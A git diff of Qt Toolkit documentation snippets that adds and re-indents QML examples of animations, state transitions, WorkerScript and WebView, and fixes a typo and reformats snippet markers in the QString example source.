b/doc/src/snippets/declarative/propertyaction-sequential.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Row { + + Item { + width: 400; height: 400 + + Rectangle { + id: rect + width: 200; height: 100 + color: "red" + + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } + } + + //! [sequential] + transitions: Transition { + SequentialAnimation { + PropertyAction { target: rect; property: "transformOrigin" } + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } + } + //! [sequential] + + MouseArea { + anchors.fill: parent + onClicked: rect.state = "rotated" + } + } + } +} diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml index dd21d14..f5ae798 100644 --- a/doc/src/snippets/declarative/propertyaction.qml +++ b/doc/src/snippets/declarative/propertyaction.qml @@ -41,45 +41,43 @@ import QtQuick 1.0 Row { -//![transition] -Item { - width: 400; height: 400 + //![transition] + Item { + width: 400; height: 400 - Rectangle { - id: rect - width: 200; height: 100 - color: "red" + Rectangle { + id: rect + width: 200; height: 100 + color: "red" - states: State { - name: "rotated" - PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } - } + states: State { + name: "rotated" + PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight } + } - transitions: Transition { - RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } - } + transitions: Transition { + RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise } + } - MouseArea { - anchors.fill: parent - onClicked: rect.state = "rotated" + MouseArea { + anchors.fill: parent + onClicked: rect.state = "rotated" + } } } -} -//![transition] + //![transition] -Item { - width: 300; height: 300 + Item { + width: 300; height: 300 - Image { id: img; source: "pics/qt.png" } - -//![standalone] -SequentialAnimation { - PropertyAction { target: img; property: "smooth"; value: "true" } - NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 } - PropertyAction { target: img; property: "smooth"; value: "false" } -} -//![standalone] -} + Image { id: img; source: "pics/qt.png" } + //![standalone] + SequentialAnimation { + PropertyAction { target: img; property: "smooth"; value: "true" } + NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 } + PropertyAction { target: img; property: "smooth"; value: "false" } + } + //![standalone] + } } - diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml index d0a009a..711feec 100644 --- a/doc/src/snippets/declarative/propertyanimation.qml +++ b/doc/src/snippets/declarative/propertyanimation.qml @@ -48,10 +48,12 @@ Rectangle { width: 100; height: 100 color: "red" + //! [single state] states: State { name: "moved" PropertyChanges { target: rect; x: 50 } } + //! [single state] transitions: Transition { PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } @@ -83,18 +85,16 @@ Rectangle { } //![propertyvaluesource] -//![standalone] -Rectangle { - id: theRect - width: 100; height: 100 - color: "red" - - // this is a standalone animation, it's not running by default - PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 } - - MouseArea { anchors.fill: parent; onClicked: animation.running = true } -} -//![standalone] + //![standalone] + Rectangle { + id: theRect + width: 100; height: 100 + color: "red" + // this is a standalone animation, it's not running by default + PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 } + MouseArea { anchors.fill: parent; onClicked: animation.running = true } + } + //![standalone] } diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js index cd67311..f55dee3 100644 --- a/doc/src/snippets/declarative/script.js +++ b/doc/src/snippets/declarative/script.js @@ -1 +1,4 @@ -# Just here so that workerscript.qml succeeds. +WorkerScript.onMessage = function(message) { + // ... long-running operations and calculations are done here + WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) +} diff --git a/doc/src/snippets/declarative/states/statechangescript.qml b/doc/src/snippets/declarative/states/statechangescript.qml new file mode 100644 index 0000000..b885137 --- /dev/null +++ b/doc/src/snippets/declarative/states/statechangescript.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +Item { +//! [state and transition] +State { + name: "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + // ... +} +// ... +Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { /* ... */ } + ScriptAction { scriptName: "myScript" } + NumberAnimation { /* ... */ } + } +} +//! [state and transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml new file mode 100644 index 0000000..1e2ebca --- /dev/null +++ b/doc/src/snippets/declarative/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml index 5fde653..ba07518 100644 --- a/doc/src/snippets/declarative/transition-from-to.qml +++ b/doc/src/snippets/declarative/transition-from-to.qml @@ -57,5 +57,3 @@ Rectangle { } } //![0] - - diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml index c67fd80..6a6ef23 100644 --- a/doc/src/snippets/declarative/transition-reversible.qml +++ b/doc/src/snippets/declarative/transition-reversible.qml @@ -53,12 +53,14 @@ Rectangle { PropertyChanges { target: rect; color: "yellow"; x: 50 } } + //! [sequential animations] transitions: Transition { SequentialAnimation { PropertyAnimation { property: "x"; duration: 1000 } ColorAnimation { duration: 1000 } } } + //! [sequential animations] } //![0] diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml new file mode 100644 index 0000000..cd413cc --- /dev/null +++ b/doc/src/snippets/declarative/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 1.0 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml new file mode 100644 index 0000000..c1cef33 --- /dev/null +++ b/doc/src/snippets/declarative/webview/webview.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtWebKit 1.0 + +WebView { + url: "http://www.nokia.com" + preferredWidth: 490 + preferredHeight: 400 + scale: 0.5 + smooth: false +} +//! [document] diff --git a/doc/src/snippets/qabstractsliderisnippet.cpp b/doc/src/snippets/qabstractsliderisnippet.cpp index 6b684e9..cb0f8cc 100644 --- a/doc/src/snippets/qabstractsliderisnippet.cpp +++ b/doc/src/snippets/qabstractsliderisnippet.cpp @@ -50,7 +50,7 @@ QAbstractSliderPrivate::~QAbstractSliderPrivate() { } -oid QAbstractSlider::setRange(int min, int max) +void QAbstractSlider::setRange(int min, int max) { Q_D(QAbstractSlider); int oldMin = d->minimum; diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp index 9aac79d..bbc9e98 100644 --- a/doc/src/snippets/qstring/main.cpp +++ b/doc/src/snippets/qstring/main.cpp @@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent) void Widget::constCharPointer() { -//! [0] + //! [0] QString str = "Hello"; -//! [0] + //! [0] } void Widget::constCharArray() { -//! [1] + //! [1] static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 }; QString str(data, 4); -//! [1] + //! [1] } void Widget::characterReference() { -//! [2] + //! [2] QString str; str.resize(4); @@ -149,46 +149,46 @@ void Widget::characterReference() str[1] = QChar('n'); str[2] = QChar(0x10e3); str[3] = QChar(0x03a3); -//! [2] + //! [2] } void Widget::atFunction() { -//! [3] + //! [3] QString str; for (int i = 0; i < str.size(); ++i) { if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f')) qDebug() << "Found character in range [a-f]"; } -//! [3] + //! [3] } void Widget::stringLiteral() { -//! [4] + //! [4] QString str; if (str == "auto" || str == "extern" || str == "static" || str == "register") { // ... } -//! [4] + //! [4] } void Widget::modify() { -//! [5] + //! [5] QString str = "and"; str.prepend("rock "); // str == "rock and" str.append(" roll"); // str == "rock and roll" str.replace(5, 3, "&"); // str == "rock & roll" -//! [5] + //! [5] } void Widget::index() { -//! [6] + //! [6] QString str = "We must be <b>bold</b>, very <b>bold</b>"; int j = 0; @@ -196,25 +196,25 @@ void Widget::index() qDebug() << "Found <b> tag at index position" << j; ++j; } -//! [6] + //! [6] } //! [7] - QString Widget::boolToString(bool b) - { - QString result; - if (b) - result = "True"; - else - result = "False"; - return result; - } +QString Widget::boolToString(bool b) +{ + QString result; + if (b) + result = "True"; + else + result = "False"; + return result; +} //! [7] void Widget::nullVsEmpty() { -//! [8] + //! [8] QString().isNull(); // returns true QString().isEmpty(); // returns true @@ -223,45 +223,45 @@ void Widget::nullVsEmpty() QString("abc").isNull(); // returns false QString("abc").isEmpty(); // returns false -//! [8] + //! [8] } void Widget::appendFunction() { -//! [9] + //! [9] QString x = "free"; QString y = "dom"; x.append(y); // x == "freedom" -//! [9] + //! [9] -//! [10] + //! [10] x.insert(x.size(), y); -//! [10] + //! [10] } void Widget::argFunction() { -//! [11] + //! [11] QString i; // current file's number QString total; // number of files to process QString fileName; // current file's name QString status = QString("Processing file %1 of %2: %3") .arg(i).arg(total).arg(fileName); -//! [11] + //! [11] -//! [12] //! [13] + //! [12] //! [13] QString str; -//! [12] + //! [12] str = "%1 %2"; str.arg("%1f", "Hello"); // returns "%1f Hello" str.arg("%1f").arg("Hello"); // returns "Hellof %2" -//! [13] + //! [13] -//! [14] + //! [14] str = QString("Decimal 63 is %1 in hexadecimal") .arg(63, 0, 16); // str == "Decimal 63 is 3f in hexadecimal" @@ -272,16 +272,16 @@ void Widget::argFunction() .arg(12345) .arg(12345, 0, 16); // str == "12345 12,345 3039" -//! [14] + //! [14] } void Widget::chopFunction() { -//! [15] + //! [15] QString str("LOGOUT\r\n"); str.chop(2); // str == "LOGOUT" -//! [15] + //! [15] } void Widget::compareFunction() @@ -293,251 +293,251 @@ void Widget::compareFunction() void Widget::compareSensitiveFunction() { -//! [16] + //! [16] int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0 int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0 int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0 -//! [16] + //! [16] } void Widget::containsFunction() { -//! [17] + //! [17] QString str = "Peter Pan"; str.contains("peter", Qt::CaseInsensitive); // returns true -//! [17] + //! [17] } void Widget::countFunction() { -//! [18] + //! [18] QString str = "banana and panama"; str.count(QRegExp("a[nm]a")); // returns 4 -//! [18] + //! [18] } void Widget::dataFunction() { -//! [19] + //! [19] QString str = "Hello world"; QChar *data = str.data(); while (!data->isNull()) { qDebug() << data->unicode(); ++data; } -//! [19] + //! [19] } void Widget::endsWithFunction() { -//! [20] + //! [20] QString str = "Bananas"; str.endsWith("anas"); // returns true str.endsWith("pple"); // returns false -//! [20] + //! [20] } void Widget::fillFunction() { -//! [21] + //! [21] QString str = "Berlin"; str.fill('z'); // str == "zzzzzz" str.fill('A', 2); // str == "AA" -//! [21] + //! [21] } void Widget::fromRawDataFunction() { -//! [22] - QRegExp pattern; - static const QChar unicode[] = { - 0x005A, 0x007F, 0x00A4, 0x0060, - 0x1009, 0x0020, 0x0020}; - int size = sizeof(unicode) / sizeof(QChar); + //! [22] + QRegExp pattern; + static const QChar unicode[] = { + 0x005A, 0x007F, 0x00A4, 0x0060, + 0x1009, 0x0020, 0x0020}; + int size = sizeof(unicode) / sizeof(QChar); - QString str = QString::fromRawData(unicode, size); - if (str.contains(QRegExp(pattern))) { - // ... -//! [22] //! [23] - } -//! [23] + QString str = QString::fromRawData(unicode, size); + if (str.contains(QRegExp(pattern))) { + // ... + //! [22] //! [23] + } + //! [23] } void Widget::indexOfFunction() { -//! [24] + //! [24] QString x = "sticky question"; QString y = "sti"; x.indexOf(y); // returns 0 x.indexOf(y, 1); // returns 10 x.indexOf(y, 10); // returns 10 x.indexOf(y, 11); // returns -1 -//! [24] + //! [24] } void Widget::firstIndexOfFunction() { -//! [25] + //! [25] QString str = "the minimum"; str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4 -//! [25] + //! [25] } void Widget::insertFunction() { -//! [26] + //! [26] QString str = "Meal"; str.insert(1, QString("ontr")); // str == "Montreal" -//! [26] + //! [26] } void Widget::isEmptyFunction() { -//! [27] + //! [27] QString().isEmpty(); // returns true QString("").isEmpty(); // returns true QString("x").isEmpty(); // returns false QString("abc").isEmpty(); // returns false -//! [27] + //! [27] } void Widget::isNullFunction() { -//! [28] + //! [28] QString().isNull(); // returns true QString("").isNull(); // returns false QString("abc").isNull(); // returns false -//! [28] + //! [28] } void Widget::lastIndexOfFunction() { -//! [29] + //! [29] QString x = "crazy azimuths"; QString y = "az"; x.lastIndexOf(y); // returns 6 x.lastIndexOf(y, 6); // returns 6 x.lastIndexOf(y, 5); // returns 2 x.lastIndexOf(y, 1); // returns -1 -//! [29] + //! [29] -//! [30] + //! [30] QString str = "the minimum"; str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8 -//! [30] + //! [30] } void Widget::leftFunction() { -//! [31] + //! [31] QString x = "Pineapple"; QString y = x.left(4); // y == "Pine" -//! [31] + //! [31] } void Widget::leftJustifiedFunction() { -//! [32] + //! [32] QString s = "apple"; QString t = s.leftJustified(8, '.'); // t == "apple..." -//! [32] + //! [32] -//! [33] + //! [33] QString str = "Pineapple"; str = str.leftJustified(5, '.', true); // str == "Pinea" -//! [33] + //! [33] } void Widget::midFunction() { -//! [34] + //! [34] QString x = "Nine pineapples"; QString y = x.mid(5, 4); // y == "pine" QString z = x.mid(5); // z == "pineapples" -//! [34] + //! [34] } void Widget::numberFunction() { -//! [35] + //! [35] long a = 63; QString s = QString::number(a, 16); // s == "3f" QString t = QString::number(a, 16).toUpper(); // t == "3F" -//! [35] + //! [35] } void Widget::prependFunction() { -//! [36] + //! [36] QString x = "ship"; QString y = "air"; x.prepend(y); // x == "airship" -//! [36] + //! [36] } void Widget::removeFunction() { -//! [37] + //! [37] QString s = "Montreal"; s.remove(1, 4); // s == "Meal" -//! [37] + //! [37] -//! [38] + //! [38] QString t = "Ali Baba"; t.remove(QChar('a'), Qt::CaseInsensitive); // t == "li Bb" -//! [38] + //! [38] -//! [39] + //! [39] QString r = "Telephone"; r.remove(QRegExp("[aeiou].")); // r == "The" -//! [39] + //! [39] } void Widget::replaceFunction() { -//! [40] + //! [40] QString x = "Say yes!"; QString y = "no"; x.replace(4, 3, y); // x == "Say no!" -//! [40] + //! [40] -//! [41] + //! [41] QString str = "colour behaviour flavour neighbour"; str.replace(QString("ou"), QString("o")); // str == "color behavior flavor neighbor" -//! [41] + //! [41] -//! [42] + //! [42] QString s = "Banana"; s.replace(QRegExp("a[mn]"), "ox"); // s == "Boxoxa" -//! [42] + //! [42] -//! [43] + //! [43] QString t = "A <i>bon mot</i>."; t.replace(QRegExp("<i>([^<]*)</i>"), "\\emph{\\1}"); // t == "A \\emph{bon mot}." -//! [43] + //! [43] -//! [86] + //! [86] QString equis = "xxxxxx"; equis.replace("xx", "x"); // equis == "xxx" -//! [86] + //! [86] } void Widget::reserveFunction() { -//! [44] + //! [44] QString result; int maxSize; bool condition; @@ -549,59 +549,59 @@ void Widget::reserveFunction() result.append(nextChar); result.squeeze(); -//! [44] + //! [44] } void Widget::resizeFunction() { -//! [45] + //! [45] QString s = "Hello world"; s.resize(5); // s == "Hello" s.resize(8); // s == "Hello???" (where ? stands for any character) -//! [45] + //! [45] -//! [46] + //! [46] QString t = "Hello"; t += QString(10, 'X'); // t == "HelloXXXXXXXXXX" -//! [46] + //! [46] -//! [47] + //! [47] QString r = "Hello"; r = r.leftJustified(10, ' '); // r == "Hello " -//! [47] + //! [47] } void Widget::rightFunction() { -//! [48] + //! [48] QString x = "Pineapple"; QString y = x.right(5); // y == "apple" -//! [48] + //! [48] } void Widget::rightJustifiedFunction() { -//! [49] + //! [49] QString s = "apple"; QString t = s.rightJustified(8, '.'); // t == "...apple" -//! [49] + //! [49] -//! [50] + //! [50] QString str = "Pineapple"; str = str.rightJustified(5, '.', true); // str == "Pinea" -//! [50] + //! [50] } void Widget::sectionFunction() { -//! [51] //! [52] + //! [51] //! [52] QString str; -//! [51] + //! [51] QString csv = "forename,middlename,surname,phone"; QString path = "/usr/local/bin/myapp"; // First field is empty QString::SectionFlag flag = QString::SectionSkipEmpty; @@ -610,83 +610,83 @@ void Widget::sectionFunction() str = csv.section(',', 2, 2); // str == "surname" str = path.section('/', 3, 4); // str == "bin/myapp" str = path.section('/', 3, 3, flag); // str == "myapp" -//! [52] + //! [52] -//! [53] + //! [53] str = csv.section(',', -3, -2); // str == "middlename,surname" str = path.section('/', -1); // str == "myapp" -//! [53] + //! [53] -//! [54] + //! [54] QString data = "forename**middlename**surname**phone"; str = data.section("**", 2, 2); // str == "surname" str = data.section("**", -3, -2); // str == "middlename**surname" -//! [54] + //! [54] -//! [55] + //! [55] QString line = "forename\tmiddlename surname \t \t phone"; QRegExp sep("\\s+"); str = line.section(sep, 2, 2); // s == "surname" str = line.section(sep, -3, -2); // s == "middlename surname" -//! [55] + //! [55] } void Widget::setNumFunction() { -//! [56] + //! [56] QString str; str.setNum(1234); // str == "1234" -//! [56] + //! [56] } void Widget::simplifiedFunction() { -//! [57] + //! [57] QString str = " lots\t of\nwhitespace\r\n "; str = str.simplified(); // str == "lots of whitespace"; -//! [57] + //! [57] } void Widget::sizeFunction() { -//! [58] + //! [58] QString str = "World"; int n = str.size(); // n == 5 str.data()[0]; // returns 'W' str.data()[4]; // returns 'd' str.data()[5]; // returns '\0' -//! [58] + //! [58] } void Widget::splitFunction() { -//! [59] + //! [59] QString str; QStringList list; str = "Some text\n\twith strange whitespace."; list = str.split(QRegExp("\\s+")); // list: [ "Some", "text", "with", "strange", "whitespace." ] -//! [59] + //! [59] -//! [60] + //! [60] str = "This time, a normal English sentence."; list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts); // list: [ "This", "time", "a", "normal", "English", "sentence" ] -//! [60] + //! [60] -//! [61] + //! [61] str = "Now: this sentence fragment."; list = str.split(QRegExp("\\b")); // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ] -//! [61] + //! [61] } void Widget::splitCaseSensitiveFunction() { -//! [62] + //! [62] QString str = "a,,b,c"; QStringList list1 = str.split(","); @@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction() QStringList list2 = str.split(",", QString::SkipEmptyParts); // list2: [ "a", "b", "c" ] -//! [62] + //! [62] } void Widget::sprintfFunction() { -//! [63] + //! [63] size_t BufSize; char buf[BufSize]; ::snprintf(buf, BufSize, "%lld", 123456789LL); QString str = QString::fromAscii(buf); -//! [63] + //! [63] -//! [64] + //! [64] QString result; QTextStream(&result) << "pi = " << 3.14; // result == "pi = 3.14" -//! [64] + //! [64] } void Widget::startsWithFunction() { -//! [65] + //! [65] QString str = "Bananas"; str.startsWith("Ban"); // returns true str.startsWith("Car"); // returns false -//! [65] + //! [65] } void Widget::toDoubleFunction() { -//! [66] + //! [66] QString str = "1234.56"; double val = str.toDouble(); // val == 1234.56 -//! [66] + //! [66] -//! [67] + //! [67] bool ok; double d; d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456 -//! [67] + //! [67] -//! [68] //! [69] + //! [68] //! [69] QLocale::setDefault(QLocale::C); d = QString( "1234,56" ).toDouble(&ok); // ok == false -//! [68] + //! [68] d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [69] //! [70] + //! [69] 